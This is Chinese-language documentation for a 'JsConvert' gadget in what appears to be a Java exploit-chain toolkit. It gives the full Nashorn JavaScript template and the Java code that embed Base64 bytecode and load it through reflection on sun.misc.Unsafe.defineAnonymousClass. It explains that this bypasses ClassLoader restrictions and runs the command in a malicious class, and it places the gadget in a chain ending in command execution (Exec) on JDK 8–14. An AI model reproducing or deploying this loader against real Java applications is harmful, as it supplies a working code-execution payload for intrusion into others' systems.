- 类别:common 别名:— 优先级:50
- 作者:—
- 依赖:
8 <= jdk <= 14(脚本引擎 Nashorn 存在于 JDK 8~14,JDK 15 移除)
把内层 gadget 产出的 byte[] 字节码,编码为一段 JavaScript 表达式字符串。该 JS 脚本在被 JS 引擎(Nashorn/Rhino)执行时,通过 sun.misc.Unsafe.defineAnonymousClass 直接从字节码定义匿名类并 newInstance(),从而在脚本执行阶段实现任意字节码加载与执行。它是「字节码 → JS 表达式」的转换环(convert gadget),供依赖 JS 表达式求值的上层 sink(如各类脚本执行链)消费。
- 入口
tags:Js_Expr、Expression—— 声明本 gadget 的产物是一段可被 JS 引擎求值的表达式字符串,承接上游「需要 JS 表达式」的环节。 - 衔接
nextTags:BytecodeConvertTag—— 之后必须接一个产出原始byte[]字节码的转换环(BytecodeConvert及其字节码工厂),本 gadget 会把该字节码内嵌进 JS 模板。 excludes:无。
本类实现 Gadget 接口,核心是一段静态 JS 模板加上字节码填充:
public static String jsTemplate = "var s = '%s';var bt;try {bt = java.lang.Class.forName('sun.misc.BASE64Decoder').newInstance().decodeBuffer(s);} catch (e) {bt = java.util.Base64.getDecoder().decode(s);}var theUnsafeField = java.lang.Class.forName('sun.misc.Unsafe').getDeclaredField('theUnsafe');theUnsafeField.setAccessible(true);unsafe = theUnsafeField.get(null);unsafe.defineAnonymousClass(java.lang.Class.forName('java.lang.Class'), bt, null).newInstance();";
private String getObject(byte[] bytecode) {
String bytecodeB64 = Base64.encodeBase64String((byte[])bytecode);
return String.format(jsTemplate, bytecodeB64);
}
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
return this.getObject((byte[])chain.doCreate(context));
}逐段解释:
invoke先chain.doCreate(context)取得内层对象(下游产出的byte[]字节码),强转为byte[]交给getObject。getObject用org.apache.commons.codec.binary.Base64.encodeBase64String把字节码编成 Base64 字符串,再以String.format填入jsTemplate的%s占位。- 模板 JS 的执行逻辑:先把 Base64 字符串
s解码回字节数组bt——优先走sun.misc.BASE64Decoder.decodeBuffer(低版本 JDK),异常时回退到java.util.Base64.getDecoder().decode。 - 关键点:反射取出
sun.misc.Unsafe的静态字段theUnsafe(setAccessible(true)绕过访问控制)拿到Unsafe单例,调用unsafe.defineAnonymousClass(Class, byte[], Object[])直接在 JVM 内定义匿名类,最后newInstance()触发该类的静态/实例初始化逻辑(通常是恶意类的构造器或静态块中的命令执行)。 - 借助
Unsafe.defineAnonymousClass而非ClassLoader.defineClass,可绕过部分 ClassLoader 层面的限制,且不需要显式的类加载器实例。
本类无 @Param。字节码内容完全由下游 nextTags=BytecodeConvertTag 的 gadget 决定。
- 依赖
8 <= jdk <= 14:JS 引擎从 Java 8 起为 Oracle Nashorn,Nashorn 在 JDK 15 中被移除;因此该表达式载荷只在 JDK 8~14 的 Nashorn 环境可靠生效。 - 采用
theUnsafe+defineAnonymousClass的加载路径,属于「Unsafe 系」字节码加载,规避 ClassLoader 白名单。 - 与同族
JsConvert2、JsConver3的区别在字节码加载手法不同(见「关联」):本类用defineAnonymousClass,JsConvert2用Unsafe.defineClass,JsConver3用标准ClassLoader.defineClass反射。
- JDK原生链1(
[XsltOnlyJdk, JsConvert, BytecodeConvert, Exec])——在该链中作为 XSLT/JS 载体与原始字节码之间的转换环。
- 下游(
nextTags=BytecodeConvertTag):BytecodeConvert 及其后的字节码工厂 / sink(如 Exec)。 - 同族(同为「字节码 → JS 表达式」转换环):JsConvert2、JsConver3。
- 直接执行命令而非加载字节码的 JS sink:JsExec。